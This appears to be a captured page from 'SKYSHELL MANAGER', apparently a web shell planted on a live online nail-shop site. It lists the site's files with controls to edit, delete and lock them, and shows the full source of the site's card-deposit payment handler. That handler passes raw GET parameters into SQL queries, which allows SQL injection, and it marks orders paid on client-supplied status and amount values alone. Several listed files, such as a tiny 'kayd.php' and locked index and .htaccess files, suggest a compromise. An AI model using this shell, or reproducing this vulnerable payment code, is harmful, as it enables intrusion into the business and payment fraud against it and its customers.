📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
chbluxuries.com
/
junk
/
Name
Size
Permissions
Actions
📁
..
-
0755
🗑️
🔒
📁
junk
-
0755
🗑️
🔒
📄
wholesuccess.php
0.92 KB
0644
🗑️
⬇️
✏️
🔒
📄
product.css
2.38 KB
0644
🗑️
⬇️
✏️
🔒
📄
resendbank.php
5.19 KB
0644
🗑️
⬇️
✏️
🔒
📄
removehomedelivery.php
0.79 KB
0644
🗑️
⬇️
✏️
🔒
📄
related.php
5.44 KB
0644
🗑️
⬇️
✏️
🔒
📄
realtimecheck.php
5.69 KB
0644
🗑️
⬇️
✏️
🔒
📄
rates.php
3.56 KB
0644
🗑️
⬇️
✏️
🔒
📄
pry_display.php
4.13 KB
0644
🗑️
⬇️
✏️
🔒
📄
promodisplay.php
1.17 KB
0644
🗑️
⬇️
✏️
🔒
📄
promo_cart.php
1.2 KB
0644
🗑️
⬇️
✏️
🔒
📄
promo.php
2.29 KB
0644
🗑️
⬇️
✏️
🔒
📄
products.php
2.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
productdetails.php
3.65 KB
0644
🗑️
⬇️
✏️
🔒
📄
product_addquantity.php
4.21 KB
0644
🗑️
⬇️
✏️
🔒
📄
privacy_policy.html
8.37 KB
0644
🗑️
⬇️
✏️
🔒
📄
savenote.php
0.28 KB
0644
🗑️
⬇️
✏️
🔒
📄
printmail.php
3.04 KB
0644
🗑️
⬇️
✏️
🔒
📄
paywithbank.php
6.88 KB
0644
🗑️
⬇️
✏️
🔒
📄
paid.php
19.53 KB
0644
🗑️
⬇️
✏️
🔒
📄
newproducts.php
2.73 KB
0644
🗑️
⬇️
✏️
🔒
📄
new_products.php
4.41 KB
0644
🗑️
⬇️
✏️
🔒
📄
new.png
2.86 KB
0644
🗑️
⬇️
✏️
🔒
📄
menu.php
1.38 KB
0644
🗑️
⬇️
✏️
🔒
📄
markcart.php
0.33 KB
0644
🗑️
⬇️
✏️
🔒
📄
lou-multi-select-0.9.10-53-g57fb8d3.zip
77.43 KB
0644
🗑️
⬇️
✏️
🔒
📄
logistics.JPG
68.97 KB
0644
🗑️
⬇️
✏️
🔒
📄
login.php
2.07 KB
0644
🗑️
⬇️
✏️
🔒
📄
kayd.php
0.02 KB
0644
🗑️
⬇️
✏️
🔒
📄
retail_thankyou.php
1.59 KB
0644
🗑️
⬇️
✏️
🔒
📄
search.php
3.45 KB
0644
🗑️
⬇️
✏️
🔒
📄
wholepaid.php
4.78 KB
0644
🗑️
⬇️
✏️
🔒
📄
subcategory_display.php
1.91 KB
0644
🗑️
⬇️
✏️
🔒
📄
whole_thankyou.php
2.18 KB
0644
🗑️
⬇️
✏️
🔒
📄
whole_pay.php
3.43 KB
0644
🗑️
⬇️
✏️
🔒
📄
walletdeposit_thankyou.php
1.36 KB
0644
🗑️
⬇️
✏️
🔒
📄
walletdeposit.php
11.07 KB
0644
🗑️
⬇️
✏️
🔒
📄
viewhistory_display.php
4.88 KB
0644
🗑️
⬇️
✏️
🔒
📄
viewhistory.php
1 KB
0644
🗑️
⬇️
✏️
🔒
📄
v.20.zip
49666.95 KB
0644
🗑️
⬇️
✏️
🔒
📄
upgrade.php
3.42 KB
0644
🗑️
⬇️
✏️
🔒
📄
update.php
0.46 KB
0644
🗑️
⬇️
✏️
🔒
📄
tester.php
32.92 KB
0644
🗑️
⬇️
✏️
🔒
📄
terms.php
15.24 KB
0644
🗑️
⬇️
✏️
🔒
📄
subcategorys.php
0.14 KB
0644
🗑️
⬇️
✏️
🔒
📄
subcategory.php
1.07 KB
0644
🗑️
⬇️
✏️
🔒
📄
wishlist.js
0.93 KB
0644
🗑️
⬇️
✏️
🔒
📄
sub_products.php
5.22 KB
0644
🗑️
⬇️
✏️
🔒
📄
stock_checker.php
0 KB
0644
🗑️
⬇️
✏️
🔒
📄
startchat.php
1.27 KB
0644
🗑️
⬇️
✏️
🔒
📄
signup.php
2.66 KB
0644
🗑️
⬇️
✏️
🔒
📄
signin.php
6.2 KB
0644
🗑️
⬇️
✏️
🔒
📄
shippingfee.php
0.42 KB
0644
🗑️
⬇️
✏️
🔒
📄
selectpreorder.js
2 KB
0644
🗑️
⬇️
✏️
🔒
📄
selectitem.js
4.04 KB
0644
🗑️
⬇️
✏️
🔒
📄
searchs.php
0.13 KB
0644
🗑️
⬇️
✏️
🔒
📄
search_result.php
4.82 KB
0644
🗑️
⬇️
✏️
🔒
📄
search_page.php
2.18 KB
0644
🗑️
⬇️
✏️
🔒
📄
search_history.php
0.62 KB
0644
🗑️
⬇️
✏️
🔒
📄
search_auto.php
1.72 KB
0644
🗑️
⬇️
✏️
🔒
📄
how-to-order.php
1.8 KB
0644
🗑️
⬇️
✏️
🔒
📄
index.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
brands.php
1.19 KB
0644
🗑️
⬇️
✏️
🔒
📄
child_categories.php
1.67 KB
0644
🗑️
⬇️
✏️
🔒
📄
child.php
0.39 KB
0644
🗑️
⬇️
✏️
🔒
📄
chat.js
1.55 KB
0644
🗑️
⬇️
✏️
🔒
📄
category_display.php
2.58 KB
0644
🗑️
⬇️
✏️
🔒
📄
categories.php
0.85 KB
0644
🗑️
⬇️
✏️
🔒
📄
cart_items.php
13.97 KB
0644
🗑️
⬇️
✏️
🔒
📄
cart.js
14.8 KB
0644
🗑️
⬇️
✏️
🔒
📄
carddeposit_thankyou.php
1.28 KB
0644
🗑️
⬇️
✏️
🔒
📄
carddeposit.php
8.97 KB
0644
🗑️
⬇️
✏️
🔒
📄
card.js
0.6 KB
0644
🗑️
⬇️
✏️
🔒
📄
card.css
4.65 KB
0644
🗑️
⬇️
✏️
🔒
📄
brands_categories.php
1.94 KB
0644
🗑️
⬇️
✏️
🔒
📄
brand.php
0.42 KB
0644
🗑️
⬇️
✏️
🔒
📄
childfilter.php
1.12 KB
0644
🗑️
⬇️
✏️
🔒
📄
bankdeposit.php
3.81 KB
0644
🗑️
⬇️
✏️
🔒
📄
bank_thankyou.php
1.8 KB
0644
🗑️
⬇️
✏️
🔒
📄
autocart.js
5.13 KB
0644
🗑️
⬇️
✏️
🔒
📄
apply.php
2.71 KB
0644
🗑️
⬇️
✏️
🔒
📄
allproductsfilter.php
1.12 KB
0644
🗑️
⬇️
✏️
🔒
📄
allproduct.php
0.13 KB
0644
🗑️
⬇️
✏️
🔒
📄
adverts_popup.php
2.93 KB
0644
🗑️
⬇️
✏️
🔒
📄
adverts.php
0.58 KB
0644
🗑️
⬇️
✏️
🔒
📄
addwishlist.php
1.64 KB
0644
🗑️
⬇️
✏️
🔒
📄
addcart.php
6.51 KB
0644
🗑️
⬇️
✏️
🔒
📄
CHB LUXURIES PRIVACY POLICY.pdf
169.33 KB
0644
🗑️
⬇️
✏️
🔒
📄
.user.ini
0.62 KB
0644
🗑️
⬇️
✏️
🔒
📄
.htaccess
1.99 KB
0444
🗑️
⬇️
✏️
🔒
📄
child_products.php
1.26 KB
0644
🗑️
⬇️
✏️
🔒
📄
comments.php
2.18 KB
0644
🗑️
⬇️
✏️
🔒
📄
hotproducts.php
0.91 KB
0644
🗑️
⬇️
✏️
🔒
📄
fetchcount.php
0.63 KB
0644
🗑️
⬇️
✏️
🔒
📄
hotoffers.php
11.57 KB
0644
🗑️
⬇️
✏️
🔒
📄
hot_products.php
4.03 KB
0644
🗑️
⬇️
✏️
🔒
📄
homedelivery.php
0.84 KB
0644
🗑️
⬇️
✏️
🔒
📄
history.php
5.57 KB
0644
🗑️
⬇️
✏️
🔒
📄
header1.php
29.43 KB
0644
🗑️
⬇️
✏️
🔒
📄
google12d9a33e3a12aac1.html
0.05 KB
0644
🗑️
⬇️
✏️
🔒
📄
footer1.php
7.15 KB
0644
🗑️
⬇️
✏️
🔒
📄
footer.php
5.24 KB
0644
🗑️
⬇️
✏️
🔒
📄
flashpromo.php
4.37 KB
0644
🗑️
⬇️
✏️
🔒
📄
filter.php
1.86 KB
0644
🗑️
⬇️
✏️
🔒
📄
fetchtotal.php
3.45 KB
0644
🗑️
⬇️
✏️
🔒
📄
fetchprototal.php
0.35 KB
0644
🗑️
⬇️
✏️
🔒
📄
fetchgrams.php
0.46 KB
0644
🗑️
⬇️
✏️
🔒
📄
fetchchat.php
2.63 KB
0644
🗑️
⬇️
✏️
🔒
📄
comparefilter.php
1.53 KB
0644
🗑️
⬇️
✏️
🔒
📄
fetchamount.php
1.24 KB
0644
🗑️
⬇️
✏️
🔒
📄
feepaid.php
10.54 KB
0644
🗑️
⬇️
✏️
🔒
📄
fastpromo.php
3.22 KB
0644
🗑️
⬇️
✏️
🔒
📄
error_log
5105372.85 KB
0644
🗑️
⬇️
✏️
🔒
📄
displayfilter.php
1.23 KB
0644
🗑️
⬇️
✏️
🔒
📄
detail.php
0.13 KB
0644
🗑️
⬇️
✏️
🔒
📄
demo.js
1.74 KB
0644
🗑️
⬇️
✏️
🔒
📄
deletedata.php
0.27 KB
0644
🗑️
⬇️
✏️
🔒
📄
deductgiftcard.php
2.07 KB
0644
🗑️
⬇️
✏️
🔒
📄
core.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
connect_to_mysqli.php
0.47 KB
0644
🗑️
⬇️
✏️
🔒
📄
complaints.php
1.94 KB
0644
🗑️
⬇️
✏️
🔒
📄
complaint.php
0.85 KB
0644
🗑️
⬇️
✏️
🔒
📄
wishlist_display.php
4.8 KB
0644
🗑️
⬇️
✏️
🔒
Editing: carddeposit.php
<?php include "header.php"; global $tx_ref; $ref = $_GET['tx_ref']; $reed = $_GET['status']; $deposit = $_GET['deposit']; $item=trim($ref); $date=date("Y-m-d"); //cancelled if($reed == "cancelled") { echo "<h3 class='text-primary'>Ouch!<br>Payment Failed or Cancelled.</h3>"; } //successful else { //select order details $sql = "SELECT * from orders where orderid='$item' "; $sql2 = mysqli_query($con,$sql); while($row = mysqli_fetch_array($sql2)) { $emails = $row["email"]; $names = $row["staff"]; $dear= $row["date"]; $tot=$row['total_amount']; $type=$row['type']; $fee=$row['deliveryfee']; $user_id=$row['user_id']; $payment=$row['payment']; $method=$row['method']; $banks=$row['bank_amount']; $cashs=$row['cash_amount']; $pos=$row['pos_amount']; $gifts=$row['gift_amount']; $cards=$row['card_amount']; $wallets=$row['wallet_amount']; $cashier=$row['cashier']; } $text = $names; $words = explode(" ", $text); // Split the string into an array of words $firstname = $words[0]; // Access the first element of the array $card_paid=$cards+$deposit; if($cards==""){$insert = mysqli_query($con,"UPDATE orders SET method ='$method,Card' where orderid='$item'") or die ('Could not connect: ' .mysqli_error($con)); } $insert = mysqli_query($con,"UPDATE orders SET card_amount='$card_paid' where orderid='$item'") or die ('Could not connect: ' .mysqli_error($con)); $insert = mysqli_query($con,"UPDATE orders SET pay_status='paid' where orderid='$item'") or die ('Could not connect: ' .mysqli_error($con)); $insert = mysqli_query($con,"UPDATE orders SET status='pending' where orderid='$item'") or die ('Could not connect: ' .mysqli_error($con)); $insert = mysqli_query($con,"UPDATE stock_orders SET status='yes' where orderid='$item'") or die ('Could not connect: ' .mysqli_error($con)); $insert = mysqli_query($con,"UPDATE orders SET date='$date' where orderid='$item'") or die ('Could not connect: ' .mysqli_error($con)); $paid_now=$banks+$cashs+$pos+$gift+$cards+$wallets; $total_paid=$paid_now+$deposit; if($cashier==""){$where="online";}else{ $where="store"; } if($total_paid < $tot){ $msg="You have succesfully made another part payment towards your stockpiled order."; } else if($total_paid == $tot){ $msg="you have succesfully completed your deposit payment for your stockpiled orders. It is currently being processed and you will be notified once it is confirmed."; $insert = mysqli_query($con,"UPDATE orders SET payment='$where' where orderid='$item'") or die ('Could not connect: ' .mysqli_error($con)); ///////////////////////////////// Mail Function started////////////////////////////////////////////////////////////////// $comments = $email_to = $email_subject = $email_from = $email_message = ""; $email_from="admin@chbluxuries.com"; $email_to = "admin@chbluxuries.com"; $email_subject ="New Completed Deposit - CHB NAIL SHOP"; $email_message =" <div style='background-color:#000000; color:#fff; height:400px; padding:50px; width:500px;'> <p><img src='https://chbluxuries.com/img/favicon.jpg' width='100px' height='100px' /></p><br><br> <p style='color:#fff !important;'>Hello Dear Admin,A customer has successfully completed their payment for their stockpiled order. Login into your dashboard to process it.</p><br><br> <p style='text-align:center; color:#fff;'> <a href='https://chbluxuries.com/admin' style='color:#FF339A;text-decoration:underline;'> ADMIN DASHBOARD </a> </p> </div>"; // create email headers $header = 'From: "CHBLUXURY NAIL SHOP" <admin@chbluxuries.com>'. "\r\n"; $header .= "Cc:admin@chbluxuries.com \r\n"; $header .= 'Reply-To: admin@chbluxuries.com' . "\r\n"; $header .= "MIME-Version: 1.0\r\n"; $header .= "Content-type: text/html\r\n"; if(!@mail($email_to, $email_subject, $email_message, $header)){ echo '<center><font color="red">mail cannot be submitted now due to server problems, Please try again.</font></center>';}} //All items $name = array(); $surname = array(); $address = array(); $colors = array(); $sql = "SELECT name,quantity,preorder,price,variation.color from stock_orders INNER JOIN variation ON stock_orders.color= variation.s where orderid='$item' && status='yes' "; $sql2 = mysqli_query($con,$sql); while($row = mysqli_fetch_array($sql2)) { $name[] = $row['name']; $surname[] = $row['quantity']; $address[] = $row['price']; $colors[] = $row['color']; $preorder_num[] = $row['preorder']; } foreach ($name as $key => $value) { $color=$colors[$key]; if($color=="null"){ $color=""; } else{ $color='('.$color.')'; } //preorder notice $preorders=$preorder_num[$key]; $pretext=""; if($preorders > 0){ $pretext="<br>($preorders on pre-order)"; } $html .= "<tr><td style='color:#FF339A; font-size:14px; font-weight:500;'>" . $name[$key]. " ".$color. "</td><td style='color:#FF339A; font-size:14px; font-weight:500;'>" . $surname[$key]. "<br> <span style='color:#fff; font-size:12px'>$pretext</span></td> <td style='color:#FF339A; font-size:14px; font-weight:500;'>₦" . $address[$key]. "</td></tr>"; } if($type=="within lagos" || $type=="deliver"){ $deliver_fee="<tr style='border-bottom:#FFFFFF solid; font-size:14px; font-weight:500;'><td>Delivery Fee</td><td style='color:#FF339A; font-size:14px; font-weight:500;' colspan='2' >₦ $fee</td></tr>"; } $due=$tot-$total_paid; $depositdisplay="<tr style='border-bottom:#FFFFFF solid; font-size:14px; font-weight:500;'><td>Total Cost </td><td style='color:#FF339A; font-size:14px; font-weight:500;' colspan='2'>₦ $tot</td></tr> <tr style='border-bottom:#FFFFFF solid; font-size:14px; font-weight:500;'><td>Total Paid </td><td style='color:#FF339A; font-size:14px; font-weight:500;' colspan='2'>₦ $total_paid</td></tr> <tr style='border-bottom:#FFFFFF solid; font-size:14px; font-weight:500;'><td>Total Payment Due </td><td style='color:#FF339A; font-size:14px; font-weight:500;' colspan='2'>₦ $due</td></tr>"; ///////////////////////////////// Mail Function started////////////////////////////////////////////////////////////////// $comments = $email_to = $email_subject = $email_from = $email_message = ""; $email_from="admin@chbluxuries.com"; $email_to = $emails; $email_subject = "Items Purchased Successfully(Deposit Method) - CHB NAIL SHOP"; $email_message =" <div style='background-color:#000000; color:#fff !important; padding:10px 20px; width:500px;'> <p><img src='https://chbluxuries.com/img/favicon.jpg' width='100px' height='100px' /> <span color='#FFFFFF' style='float:right; font-size:15px; padding-right:6px; text-align:right; margin-top:13px;'> Total Paid: ₦$deposit <br> $date </span></p><br><br> <p style='color:#fff !important; font-size:15px;'> Hello Dear $firstname,<br><br> Thank you for shopping with us—we’re glad you did and we hope to serve you again soon! $msg In the meantime, reach out to our friendly support team with any questions you have. They’re super nice.</p> <p><table border='1px' bordercolor='#000000' cellpadding='10' style='color:#FFFFFF;' width='500px'> <tr style='border-bottom:#FFFFFF solid; font-size:14px; font-weight:500;'><td>Order No</td><td style='color:#FF339A; font-size:14px; font-weight:500;' colspan='2' >$item</td></tr> <tr><td style='color:#fff; text-align:center;'>Your Items</td><td>Quantity</td><td>Price</td></tr> $html $deliver_fee $depositdisplay </table></p> <h4 style='color:#FF339A;'>Important notice on discount </h4> <p style='color:white !important;'> To get 10% off your next order, refer a friend and ask your friend to input your email address in the referral section e.g shop@discount.com. using your email address as the referral code your friend will receive a 5% discount for her first order while you receive 10% discount on your next order.</p> <br><br> <p style='text-align:center; color:#fff;'> Visit our website: <a href='https://chbluxuries.com/' style='color:#FF339A; text-decoration:underline;'> CHB NAIL SHOP </a> </p> </div>"; // create email headers $header = 'From: "CHBLUXURY NAIL SHOP" <admin@chbluxuries.com>'. "\r\n"; $header .= "Cc:admin@chbluxuries.com \r\n"; $header .= 'Reply-To: admin@chbluxuries.com' . "\r\n"; $header .= "MIME-Version: 1.0\r\n"; $header .= "Content-type: text/html\r\n"; if(!@mail($email_to, $email_subject, $email_message, $header)){ echo '<center><font color="red">mail cannot be submitted now due to server problems, Please try again.</font></center>';} else{ header('location: carddeposit_thankyou.php'); }}?>
💾 Save Changes